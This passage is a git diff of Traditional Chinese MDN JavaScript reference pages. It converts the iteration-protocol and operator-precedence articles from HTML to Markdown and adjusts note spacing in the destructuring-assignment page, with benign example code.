{{JSxRef("Operators/Arithmetic_Operators", "-", "#Subtraction")}} +- {{JSxRef("Operators/Arithmetic_Operators", "/", "#Division")}} +- {{JSxRef("Operators/Arithmetic_Operators", "*", "#Multiplication")}} +- {{JSxRef("Operators/Arithmetic_Operators", "%", "#Remainder")}} +- {{JSxRef("Operators/Arithmetic_Operators", "**", "#Exponentiation")}} + +### 關係運算子 + +- {{JSxRef("Operators/in", "in")}} +- {{JSxRef("Operators/instanceof", "instanceof")}} +- {{JSxRef("Operators/Comparison_Operators", "<", "#Less_than_operator")}} +- {{JSxRef("Operators/Comparison_Operators", ">", "#Greater_than_operator")}} +- {{JSxRef("Operators/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}} +- {{JSxRef("Operators/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}} + +### 相等運算子 + +- {{JSxRef("Operators/Comparison_Operators", "==", "#Equality")}} +- {{JSxRef("Operators/Comparison_Operators", "!=", "#Inequality")}} +- {{JSxRef("Operators/Comparison_Operators", "===", "#Identity")}} +- {{JSxRef("Operators/Comparison_Operators", "!==", "#Nonidentity")}} + +### 位元移位運算子 + +- {{JSxRef("Operators/Bitwise_Operators", "<<", "#Left_shift")}} +- {{JSxRef("Operators/Bitwise_Operators", ">>", "#Right_shift")}} +- {{JSxRef("Operators/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}} + +### 二元位元運算子 + +- {{JSxRef("Operators/Bitwise_Operators", "&", "#Bitwise_AND")}} +- {{JSxRef("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}} +- {{JSxRef("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}} + +### 二元邏輯運算子 + +- {{JSxRef("Operators/Logical_Operators", "&&", "#Logical_AND")}} +- {{JSxRef("Operators/Logical_Operators", "||", "#Logical_OR")}} + +### 條件(三元)運算子 + +- {{JSxRef("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}} + +### 賦值運算子 + +- {{JSxRef("Operators/Assignment_Operators", "=", "#Assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "/=", "#Division_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "+=", "#Addition_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "<<=", "#Left_shift_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", ">>=", "#Right_shift_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}} +- {{JSxRef("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}} +- {{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}} +- {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}} + +## 函數 + +本章節說明如何使用 [JavaScript 函數](/zh-TW/docs/Web/JavaScript/Reference/Functions) 來開發您的應用程式。 + +- [`arguments`](/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments) +- [Arrow functions](/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions) +- [Default parameters](/zh-TW/docs/Web/JavaScript/Reference/Functions/Default_parameters) +- [Rest parameters](/zh-TW/docs/Web/JavaScript/Reference/Functions/rest_parameters) + +## 其他參考頁面 + +- [Lexical grammar](/zh-TW/docs/Web/JavaScript/Reference/Lexical_grammar) +- [Data types and data structures](/zh-TW/docs/Web/JavaScript/Data_structures) +- [Strict mode](/zh-TW/docs/Web/JavaScript/Reference/Strict_mode) +- [Deprecated features](/zh-TW/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features) diff --git a/files/zh-tw/web/javascript/reference/iteration_protocols/index.html b/files/zh-tw/web/javascript/reference/iteration_protocols/index.html deleted file mode 100644 index ec736bb145ae4b..00000000000000 --- a/files/zh-tw/web/javascript/reference/iteration_protocols/index.html +++ /dev/null @@ -1,329 +0,0 @@ ---- -title: 迭代協議 -slug: Web/JavaScript/Reference/Iteration_protocols -tags: - - ECMAScript 2015 - - Intermediate - - Iterator - - JavaScript -translation_of: Web/JavaScript/Reference/Iteration_protocols ---- -
{{jsSidebar("More")}}
- -

為 ECMAScript 2015 中的一些補充內容,並非新的內建物件或語法,而是協議。這些協議可被任何遵守特定協定的物件所實作。

- -

本文介紹兩種協議:可迭代協議(iterable protocol)以及迭代器協議(iterator protocol)

- -

可迭代協議

- -

可迭代(iterable)協議允許 JavaScript 物件定義或客制他們的迭代行為,例如哪些值可在 {{jsxref("Statements/for...of", "for..of")}} 語法結構中被迭代出來。部分內建型別為擁有預設迭代行為的可迭代內建物件(built-in iterables),如 {{jsxref("Array")}} 或 {{jsxref("Map")}},而其他型別(如 {{jsxref("Object")}})則否。

- -

為了成為可迭代的(iterable),一個物件必須實作 @@iterator 方法,意思是這個物件(或其原型鏈中的其中一個原型物件)必須擁有一個鍵(key)值為 @@iterator(即 {{jsxref("Symbol.iterator")}} 常數)的屬性:

- - - - - - - - - - - - - - -
屬性
[Symbol.iterator]回傳符合迭代器協議(iterator protocol)之物件的無引數函式。
- -

每當物件需要被迭代時(比如在一個開始的 for..of 迴圈中),物件的 @@iterator 方法會被以不傳入引數的方式呼叫,並會使用其回傳的迭代器(iterator)來獲得被迭代出來的值。

- -

迭代器協議

- -

迭代器(iterator)協議定義了一個標準方式來產出一連串(有限或無限)的值,並且可能於所有值都被產出後回傳一個值。

- -

當物件以下列語義實作了 next() 方法即為一個迭代器:

- - - - - - - - - - - - -
屬性
next -

回傳一個至少擁有以下兩個屬性之物件的無引數函式:

- -
    -
  • done(布林值) - -
      -
    • 若迭代器已迭代完畢整個可迭代序列,則值為 true。在這個情況下 value 可以是代表迭代器的回傳值
    • -
    • 若迭代器能夠產出序列中的下一個值,則值為 false。相當於完全不指定 done 屬性。
    • -
    -
  • -
  • value - 任何由迭代器所回傳的 JavaScript 值。可於 donetrue 時省略。
  • -
- -

next 方法必須總是回傳一個包含符合 donevalue 屬性的物件。假如回傳了一個非物件值(如 falseundefined),則將會拋出一個 {{jsxref("TypeError")}} 錯誤。

-
- -
-

備註:我們無法反射性的一眼看出一個特定的物件是否實作了迭代器協議,然而要建立一個同時滿足迭代器及可迭代協議的物件卻是相當容易(如下例所示)。範例的做法允許一個迭代器被各個預期其可迭代行為的語法所消費。因此很少有需要實作迭代器協議而沒有實作可迭代協議的情況。

- -
var myIterator = {
-    next: function() {
-        // ...
-    },
-    [Symbol.iterator]: function() { return this }
-};
-
-
- -

迭代協議使用範例

- -

{{jsxref("String")}} 為一個可迭代內建物件(built-in iterable object)的範例:

- -
var someString = 'hi';
-typeof someString[Symbol.iterator];          // "function"
-
- -

String預設迭代器會回傳字串中的一個一個字元:

- -
var iterator = someString[Symbol.iterator]();
-iterator + '';                               // "[object String Iterator]"
-
-iterator.next();                             // { value: "h", done: false }
-iterator.next();                             // { value: "i", done: false }
-iterator.next();                             // { value: undefined, done: true }
- -

部分內建語法結構(built-in constructs),如 spread syntax,其內部也使用了相同的迭代協議:

- -
[...someString]                              // ["h", "i"]
- -

我們可以藉由提供我們自己的 @@iterator 來重新定義迭代行為:

- -
var someString = new String('hi');           // need to construct a String object explicitly to avoid auto-boxing
-
-someString[Symbol.iterator] = function() {
-  return { // this is the iterator object, returning a single element, the string "bye"
-    next: function() {
-      if (this._first) {
-        this._first = false;
-        return { value: 'bye', done: false };
-      } else {
-        return { done: true };
-      }
-    },
-    _first: true
-  };
-};
-
- -

請注意,重新定義 @@iterator 會影響使用迭代協議之內建語法結構的行為:

- -
[...someString];                             // ["bye"]
-someString + '';                             // "hi"
-
- -

可迭代範例

- -

可迭代內建物件

- -

{{jsxref("String")}}、{{jsxref("Array")}}、{{jsxref("TypedArray")}}、{{jsxref("Map")}} 以及 {{jsxref("Set")}} 全都是可迭代內建物件,因為他們每一個的原型物件皆實作了 @@iterator 方法。

- -

自定義可迭代物件

- -

我們可以建立自己的可迭代物件,像是:

- -
var myIterable = {};
-myIterable[Symbol.iterator] = function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-};
-[...myIterable]; // [1, 2, 3]
-
- -

接受可迭代物件的內建 APIs

- -

有許多 APIs 接受可迭代物件,如:{{jsxref("Map", "Map([iterable])")}}、{{jsxref("WeakMap", "WeakMap([iterable])")}}、{{jsxref("Set", "Set([iterable])")}} 及 {{jsxref("WeakSet", "WeakSet([iterable])")}}:

- -
var myObj = {};
-new Map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2);               // "b"
-new WeakMap([[{}, 'a'], [myObj, 'b'], [{}, 'c']]).get(myObj); // "b"
-new Set([1, 2, 3]).has(3);                               // true
-new Set('123').has('2');                                 // true
-new WeakSet(function* () {
-    yield {};
-    yield myObj;
-    yield {};
-}()).has(myObj);                                         // true
-
- -

另外可參考 {{jsxref("Promise.all", "Promise.all(iterable)")}}、{{jsxref("Promise.race", "Promise.race(iterable)")}} 以及 {{jsxref("Array.from", "Array.from()")}}。

- -

用於可迭代物件的語法

- -

部分陳述式(statements)及運算式(expressions)為預期用於可迭代物件,例如 for-of 迴圈、spread syntaxyield*,及解構賦值

- -
for(let value of ['a', 'b', 'c']){
-    console.log(value);
-}
-// "a"
-// "b"
-// "c"
-
-[...'abc']; // ["a", "b", "c"]
-
-function* gen() {
-  yield* ['a', 'b', 'c'];
-}
-
-gen().next(); // { value:"a", done:false }
-
-[a, b, c] = new Set(['a', 'b', 'c']);
-a // "a"
-
-
- -

非良好的(Non-well-formed)可迭代物件

- -

假如可迭件物件的 @@iterator 方法不是回傳一個迭代器物件,即是非良好的(non-well-formed)可迭代物件。如以下方式使用可能會導致執行時期異常或錯誤行為:

- -
var nonWellFormedIterable = {}
-nonWellFormedIterable[Symbol.iterator] = () => 1
-[...nonWellFormedIterable] // TypeError: [] is not a function
-
- -

迭代器範例

- -

簡單的迭代器

- -
function makeIterator(array) {
-    var nextIndex = 0;
-
-    return {
-       next: function() {
-           return nextIndex < array.length ?
-               {value: array[nextIndex++], done: false} :
-               {done: true};
-       }
-    };
-}
-
-var it = makeIterator(['yo', 'ya']);
-
-console.log(it.next().value); // 'yo'
-console.log(it.next().value); // 'ya'
-console.log(it.next().done);  // true
-
- -

無限迭代器

- -
function idMaker() {
-    var index = 0;
-
-    return {
-       next: function(){
-           return {value: index++, done: false};
-       }
-    };
-}
-
-var it = idMaker();
-
-console.log(it.next().value); // '0'
-console.log(it.next().value); // '1'
-console.log(it.next().value); // '2'
-// ...
-
- -

搭配生成器(generator)

- -
function* makeSimpleGenerator(array) {
-    var nextIndex = 0;
-
-    while (nextIndex < array.length) {
-        yield array[nextIndex++];
-    }
-}
-
-var gen = makeSimpleGenerator(['yo', 'ya']);
-
-console.log(gen.next().value); // 'yo'
-console.log(gen.next().value); // 'ya'
-console.log(gen.next().done);  // true
-
-
-
-function* idMaker() {
-    var index = 0;
-    while (true)
-        yield index++;
-}
-
-var gen = idMaker();
-
-console.log(gen.next().value); // '0'
-console.log(gen.next().value); // '1'
-console.log(gen.next().value); // '2'
-// ...
-
- -

搭配 ES2015 類別

- -
class SimpleClass {
-  constructor(data) {
-    this.index = 0;
-    this.data = data;
-  }
-
-  [Symbol.iterator]() {
-    return {
-      next: () => {
-        if (this.index < this.data.length) {
-          return {value: this.data[this.index++], done: false};
-        } else {
-          this.index = 0; //If we would like to iterate over this again without forcing manual update of the index
-          return {done: true};
-        }
-      }
-    }
-  };
-}
-
-const simple = new SimpleClass([1,2,3,4,5]);
-
-for (const val of simple) {
-  console.log(val);  //'0' '1' '2' '3' '4' '5'
-}
-
- -

生成器物件是迭代器還是可迭代物件?

- -

生成器物件(generator object)同時為迭代器及可迭代物件:

- -
var aGeneratorObject = function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-}();
-typeof aGeneratorObject.next;
-// "function", because it has a next method, so it's an iterator
-typeof aGeneratorObject[Symbol.iterator];
-// "function", because it has an @@iterator method, so it's an iterable
-aGeneratorObject[Symbol.iterator]() === aGeneratorObject;
-// true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable
-[...aGeneratorObject];
-// [1, 2, 3]
-
- -

參見

- - diff --git a/files/zh-tw/web/javascript/reference/iteration_protocols/index.md b/files/zh-tw/web/javascript/reference/iteration_protocols/index.md new file mode 100644 index 00000000000000..16e5a598bb4ce6 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/iteration_protocols/index.md @@ -0,0 +1,344 @@ +--- +title: 迭代協議 +slug: Web/JavaScript/Reference/Iteration_protocols +tags: + - ECMAScript 2015 + - Intermediate + - Iterator + - JavaScript +translation_of: Web/JavaScript/Reference/Iteration_protocols +--- +{{jsSidebar("More")}} + +為 ECMAScript 2015 中的一些補充內容,並非新的內建物件或語法,而是協議。這些協議可被任何遵守特定協定的物件所實作。 + +本文介紹兩種協議:[可迭代協議(iterable protocol)](#The_iterable_protocol)以及[迭代器協議(iterator protocol)](#The_iterator_protocol)。 + +## 可迭代協議 + +**可迭代(iterable)**協議允許 JavaScript 物件定義或客制他們的迭代行為,例如哪些值可在 {{jsxref("Statements/for...of", "for..of")}} 語法結構中被迭代出來。部分內建型別為擁有預設迭代行為的[可迭代內建物件(built-in iterables)](#Built-in_iterables),如 {{jsxref("Array")}} 或 {{jsxref("Map")}},而其他型別(如 {{jsxref("Object")}})則否。 + +為了成為**可迭代的(iterable)**,一個物件必須實作 **@@iterator** 方法,意思是這個物件(或其[原型鏈](/zh-TW/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain)中的其中一個原型物件)必須擁有一個鍵(key)值為 **@@iterator**(即 {{jsxref("Symbol.iterator")}} 常數)的屬性: + +| 屬性 | 值 | +| ------------------- | ------------------------------------------------------------------------------------- | +| `[Symbol.iterator]` | 回傳符合[迭代器協議(iterator protocol)](#The_iterator_protocol)之物件的無引數函式。 | + +每當物件需要被迭代時(比如在一個開始的 `for..of` 迴圈中),物件的 `@@iterator` 方法會被以不傳入引數的方式呼叫,並會使用其回傳的**迭代器(iterator)**來獲得被迭代出來的值。 + +## 迭代器協議 + +**迭代器(iterator)**協議定義了一個標準方式來產出一連串(有限或無限)的值,並且可能於所有值都被產出後回傳一個值。 + +當物件以下列語義實作了 **`next()`** 方法即為一個迭代器: + + + + + + + + + + + + +
屬性
next +

回傳一個至少擁有以下兩個屬性之物件的無引數函式:

+
    +
  • + done(布林值) +
      +
    • + 若迭代器已迭代完畢整個可迭代序列,則值為 + true。在這個情況下 + value 可以是代表迭代器的回傳值。 +
    • +
    • + 若迭代器能夠產出序列中的下一個值,則值為 + false。相當於完全不指定 done 屬性。 +
    • +
    +
  • +
  • + value - 任何由迭代器所回傳的 JavaScript 值。可於 + donetrue 時省略。 +
  • +
+

+ next 方法必須總是回傳一個包含符合 done 及 + value 屬性的物件。假如回傳了一個非物件值(如 + falseundefined),則將會拋出一個 + {{jsxref("TypeError")}} 錯誤。 +

+
+ +> **備註:** 我們無法反射性的一眼看出一個特定的物件是否實作了迭代器協議,然而要建立一個同時滿足迭代器及可迭代協議的物件卻是相當容易(如下例所示)。範例的做法允許一個迭代器被各個預期其可迭代行為的語法所消費。因此很少有需要實作迭代器協議而沒有實作可迭代協議的情況。```js +> var myIterator = { +> next: function() { +> // ... +> }, +> [Symbol.iterator]: function() { return this } +> }; +> +> ``` +> +> ``` + +## 迭代協議使用範例 + +{{jsxref("String")}} 為一個可迭代內建物件(built-in iterable object)的範例: + +```js +var someString = 'hi'; +typeof someString[Symbol.iterator]; // "function" +``` + +`String` 的[預設迭代器](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/String/@@iterator)會回傳字串中的一個一個字元: + +```js +var iterator = someString[Symbol.iterator](); +iterator + ''; // "[object String Iterator]" + +iterator.next(); // { value: "h", done: false } +iterator.next(); // { value: "i", done: false } +iterator.next(); // { value: undefined, done: true } +``` + +部分內建語法結構(built-in constructs),如 [spread syntax](/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator),其內部也使用了相同的迭代協議: + +```js +[...someString] // ["h", "i"] +``` + +我們可以藉由提供我們自己的 `@@iterator` 來重新定義迭代行為: + +```js +var someString = new String('hi'); // need to construct a String object explicitly to avoid auto-boxing + +someString[Symbol.iterator] = function() { + return { // this is the iterator object, returning a single element, the string "bye" + next: function() { + if (this._first) { + this._first = false; + return { value: 'bye', done: false }; + } else { + return { done: true }; + } + }, + _first: true + }; +}; +``` + +請注意,重新定義 `@@iterator` 會影響使用迭代協議之內建語法結構的行為: + +```js +[...someString]; // ["bye"] +someString + ''; // "hi" +``` + +## 可迭代範例 + +### 可迭代內建物件 + +{{jsxref("String")}}、{{jsxref("Array")}}、{{jsxref("TypedArray")}}、{{jsxref("Map")}} 以及 {{jsxref("Set")}} 全都是可迭代內建物件,因為他們每一個的原型物件皆實作了 `@@iterator` 方法。 + +### 自定義可迭代物件 + +我們可以建立自己的可迭代物件,像是: + +```js +var myIterable = {}; +myIterable[Symbol.iterator] = function* () { + yield 1; + yield 2; + yield 3; +}; +[...myIterable]; // [1, 2, 3] +``` + +### 接受可迭代物件的內建 APIs + +有許多 APIs 接受可迭代物件,如:{{jsxref("Map", "Map([iterable])")}}、{{jsxref("WeakMap", "WeakMap([iterable])")}}、{{jsxref("Set", "Set([iterable])")}} 及 {{jsxref("WeakSet", "WeakSet([iterable])")}}: + +```js +var myObj = {}; +new Map([[1, 'a'], [2, 'b'], [3, 'c']]).get(2); // "b" +new WeakMap([[{}, 'a'], [myObj, 'b'], [{}, 'c']]).get(myObj); // "b" +new Set([1, 2, 3]).has(3); // true +new Set('123').has('2'); // true +new WeakSet(function* () { + yield {}; + yield myObj; + yield {}; +}()).has(myObj); // true +``` + +另外可參考 {{jsxref("Promise.all", "Promise.all(iterable)")}}、{{jsxref("Promise.race", "Promise.race(iterable)")}} 以及 {{jsxref("Array.from", "Array.from()")}}。 + +### 用於可迭代物件的語法 + +部分陳述式(statements)及運算式(expressions)為預期用於可迭代物件,例如 [`for-of`](/zh-TW/docs/Web/JavaScript/Reference/Statements/for...of) 迴圈、[spread syntax](/zh-TW/docs/Web/JavaScript/Reference/Operators/Spread_operator)、[`yield*`](/zh-TW/docs/Web/JavaScript/Reference/Operators/yield*),及[解構賦值](/zh-TW/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment): + +```js +for(let value of ['a', 'b', 'c']){ + console.log(value); +} +// "a" +// "b" +// "c" + +[...'abc']; // ["a", "b", "c"] + +function* gen() { + yield* ['a', 'b', 'c']; +} + +gen().next(); // { value:"a", done:false } + +[a, b, c] = new Set(['a', 'b', 'c']); +a // "a" +``` + +### 非良好的(Non-well-formed)可迭代物件 + +假如可迭件物件的 `@@iterator` 方法不是回傳一個迭代器物件,即是非良好的(non-well-formed)可迭代物件。如以下方式使用可能會導致執行時期異常或錯誤行為: + +```js +var nonWellFormedIterable = {} +nonWellFormedIterable[Symbol.iterator] = () => 1 +[...nonWellFormedIterable] // TypeError: [] is not a function +``` + +## 迭代器範例 + +### 簡單的迭代器 + +```js +function makeIterator(array) { + var nextIndex = 0; + + return { + next: function() { + return nextIndex < array.length ? + {value: array[nextIndex++], done: false} : + {done: true}; + } + }; +} + +var it = makeIterator(['yo', 'ya']); + +console.log(it.next().value); // 'yo' +console.log(it.next().value); // 'ya' +console.log(it.next().done); // true +``` + +### 無限迭代器 + +```js +function idMaker() { + var index = 0; + + return { + next: function(){ + return {value: index++, done: false}; + } + }; +} + +var it = idMaker(); + +console.log(it.next().value); // '0' +console.log(it.next().value); // '1' +console.log(it.next().value); // '2' +// ... +``` + +### 搭配生成器(generator) + +```js +function* makeSimpleGenerator(array) { + var nextIndex = 0; + + while (nextIndex < array.length) { + yield array[nextIndex++]; + } +} + +var gen = makeSimpleGenerator(['yo', 'ya']); + +console.log(gen.next().value); // 'yo' +console.log(gen.next().value); // 'ya' +console.log(gen.next().done); // true + + + +function* idMaker() { + var index = 0; + while (true) + yield index++; +} + +var gen = idMaker(); + +console.log(gen.next().value); // '0' +console.log(gen.next().value); // '1' +console.log(gen.next().value); // '2' +// ... +``` + +### 搭配 ES2015 類別 + +```js +class SimpleClass { + constructor(data) { + this.index = 0; + this.data = data; + } + + [Symbol.iterator]() { + return { + next: () => { + if (this.index < this.data.length) { + return {value: this.data[this.index++], done: false}; + } else { + this.index = 0; //If we would like to iterate over this again without forcing manual update of the index + return {done: true}; + } + } + } + }; +} + +const simple = new SimpleClass([1,2,3,4,5]); + +for (const val of simple) { + console.log(val); //'0' '1' '2' '3' '4' '5' +} +``` + +## 生成器物件是迭代器還是可迭代物件? + +[生成器物件(generator object)](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Generator)同時為迭代器及可迭代物件: + +```js +var aGeneratorObject = function* () { + yield 1; + yield 2; + yield 3; +}(); +typeof aGeneratorObject.next; +// "function", because it has a next method, so it's an iterator +typeof aGeneratorObject[Symbol.iterator]; +// "function", because it has an @@iterator method, so it's an iterable +aGeneratorObject[Symbol.iterator]() === aGeneratorObject; +// true, because its @@iterator method returns itself (an iterator), so it's an well-formed iterable +[...aGeneratorObject]; +// [1, 2, 3] +``` + +## 參見 + +- 更多關於 ES2015 生成器(generators)的資訊,可參考[生成器函式 function\* 文件](/zh-TW/docs/Web/JavaScript/Reference/Statements/function*)。 diff --git a/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.md b/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.md index 181f80bc9490d2..e5795032f2d2c4 100644 --- a/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.md +++ b/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.md @@ -215,7 +215,7 @@ let a, b; ({a, b} = {a:1, b:2}); ``` -> **備註:**當針對物件進行解構,而該句式沒有進行宣告時,指派式外必須加上括號 `( ... )` 。 +> **備註:** 當針對物件進行解構,而該句式沒有進行宣告時,指派式外必須加上括號 `( ... )` 。 > > `{a, b} = {a: 1, b: 2}` 不是有效的獨立語法,因為左邊的 `{a, b}` 被視為程式碼區塊而非物件。 > @@ -299,7 +299,7 @@ drawChart({ }); ``` -> **備註:**在上述函式 **`drawChart`** 中,左方之解構式被指派到一個空物件: `{size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}` 。你也可以略過填寫右方的指派式。不過,當你沒有使用右方指派式時,函式在呼叫時會找出最少一個參數。透過上述形式,你可以直接不使用參數的呼叫 **`drawChart()`** 。當你希望在呼叫這個函式時不傳送參數,這個設計會帶來方便。而另一個設計則能讓你確保函式必須傳上一個物件作為參數。 +> **備註:** 在上述函式 **`drawChart`** 中,左方之解構式被指派到一個空物件: `{size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}` 。你也可以略過填寫右方的指派式。不過,當你沒有使用右方指派式時,函式在呼叫時會找出最少一個參數。透過上述形式,你可以直接不使用參數的呼叫 **`drawChart()`** 。當你希望在呼叫這個函式時不傳送參數,這個設計會帶來方便。而另一個設計則能讓你確保函式必須傳上一個物件作為參數。 ### 巢狀物件或陣列的解構 diff --git a/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html b/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html deleted file mode 100644 index 4311b1041f9a9c..00000000000000 --- a/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: 運算子優先序 -slug: Web/JavaScript/Reference/Operators/Operator_Precedence -tags: - - JavaScript - - Operator - - precedence -translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence ---- -
{{jsSidebar("Operators")}}
- -

運算子優先序(Operator precedence)決定了運算子彼此之間被語法解析的方式,優先序較高的運算子會成為優先序較低運算子的運算元(operands)。

- -
{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}
- -

相依性(Associativity)

- -

當優先序相同時,使用相依性決定運算方向。範例如下:

- -
a OP b OP c
-
- -

左相依性 (Left-associativity) ,表示處理順序為從左至右 (a OP b) OP c,反之,右相依性(right-associativity) 表示處理順序為從右至左 a OP (b OP c)。賦值運算符 (Assignment operators) 為右相依性,範例如下:

- -
a = b = 5;
-
- -

ab 的預期結果為 5,因為賦值運算符 (Assignment operator) 為右相依性,因此從右至左返回值。一開始 b 被設定為 5,接著 a 也被設定為 5。

- -

表格(Table)

- -

下方表格列出運算子的相依性,從高 (19) 到低 (1)。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
優先性
- Precedence
運算子名稱
- Operator type
相依性
- Associativity
運算子
- Individual operators
19{{jsxref("Operators/Grouping", "Grouping", "", 1)}}( … )
18{{jsxref("Operators/Property_Accessors", "Member Access", "#dot_notation", 1)}}從左至右… . …
{{jsxref("Operators/Property_Accessors", "Computed Member Access", "#bracket_notation", 1)}}從左至右… [ … ]
{{jsxref("Operators/new","new")}} (with argument list)new … ( … )
呼叫函式從左至右… ( )
可選串連(Optional chaining)從左至右?.
17{{jsxref("Operators/new","new")}} (without argument list)從右至左new …
16{{jsxref("Operators","字尾遞增","#遞增與遞減", 1)}}… ++
{{jsxref("Operators","字尾遞減","#遞增與遞減", 1)}}… --
15Logical NOT從右至左! …
Bitwise NOT~ …
Unary Plus+ …
Unary Negation- …
{{jsxref("Operators","字首遞增","#遞增與遞減", 1)}}++ …
{{jsxref("Operators","字首遞減","#遞增與遞減", 1)}}-- …
{{jsxref("Operators/typeof", "typeof")}}typeof …
{{jsxref("Operators/void", "void")}}void …
{{jsxref("Operators/delete", "delete")}}delete …
{{jsxref("Operators/await", "await")}}await …
14Exponentiation從右至左… ** …
13Multiplication從左至右… * …
Division… / …
Remainder… % …
12Addition從左至右… + …
Subtraction… - …
11Bitwise Left Shift從左至右… << …
Bitwise Right Shift… >> …
Bitwise Unsigned Right Shift - … >>> …
10Less Than從左至右… < …
Less Than Or Equal… <= …
Greater Than… > …
Greater Than Or Equal… >= …
{{jsxref("Operators/in", "in")}}… in …
{{jsxref("Operators/instanceof", "instanceof")}}… instanceof …
9Equality從左至右… == …
Inequality… != …
Strict Equality… === …
Strict Inequality… !== …
8Bitwise AND從左至右… & …
7Bitwise XOR從左至右… ^ …
6Bitwise OR從左至右… | …
5Logical AND從左至右… && …
4Logical OR從左至右… || …
Nullish Coalescing從左至右… ?? …
3條件運算從右至左… ? … : …
2賦值從右至左… = …
… += …
… -= …
… **= …
… *= …
… /= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
… &&= …
… ||= …
… ??= …
1Comma / Sequence從左至右… , …
diff --git a/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.md b/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.md new file mode 100644 index 00000000000000..9382625a2029e1 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.md @@ -0,0 +1,470 @@ +--- +title: 運算子優先序 +slug: Web/JavaScript/Reference/Operators/Operator_Precedence +tags: + - JavaScript + - Operator + - precedence +translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence +--- +{{jsSidebar("Operators")}} + +運算子優先序(Operator precedence)決定了運算子彼此之間被語法解析的方式,優先序較高的運算子會成為優先序較低運算子的運算元(operands)。 + +{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}} + +## 相依性(Associativity) + +當優先序相同時,使用相依性決定運算方向。範例如下: + +```plain +a OP b OP c +``` + +左相依性 (Left-associativity) ,表示處理順序為從左至右 `(a OP b) OP c`,反之,右相依性(right-associativity) 表示處理順序為從右至左 `a OP (b OP c)`。賦值運算符 (Assignment operators) 為右相依性,範例如下: + +```js +a = b = 5; +``` + +`a` 和 `b` 的預期結果為 5,因為賦值運算符 (Assignment operator) 為右相依性,因此從右至左返回值。一開始 `b` 被設定為 5,接著 `a` 也被設定為 5。 + +## 表格(Table) + +下方表格列出運算子的相依性,從高 (19) 到低 (1)。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
優先性
Precedence
運算子名稱
Operator type
相依性
Associativity
運算子
Individual operators
19 + {{jsxref("Operators/Grouping", "Grouping", "", 1)}} + ( … )
18 + {{jsxref("Operators/Property_Accessors", "Member Access", "#dot_notation", 1)}} + 從左至右… . …
+ {{jsxref("Operators/Property_Accessors", "Computed Member Access", "#bracket_notation", 1)}} + 從左至右… [ … ]
{{jsxref("Operators/new","new")}} (with argument list)new … ( … )
呼叫函式從左至右 + … ( ) +
+ 可選串連(Optional chaining) + 從左至右?.
17 + {{jsxref("Operators/new","new")}} (without argument list) + 從右至左new …
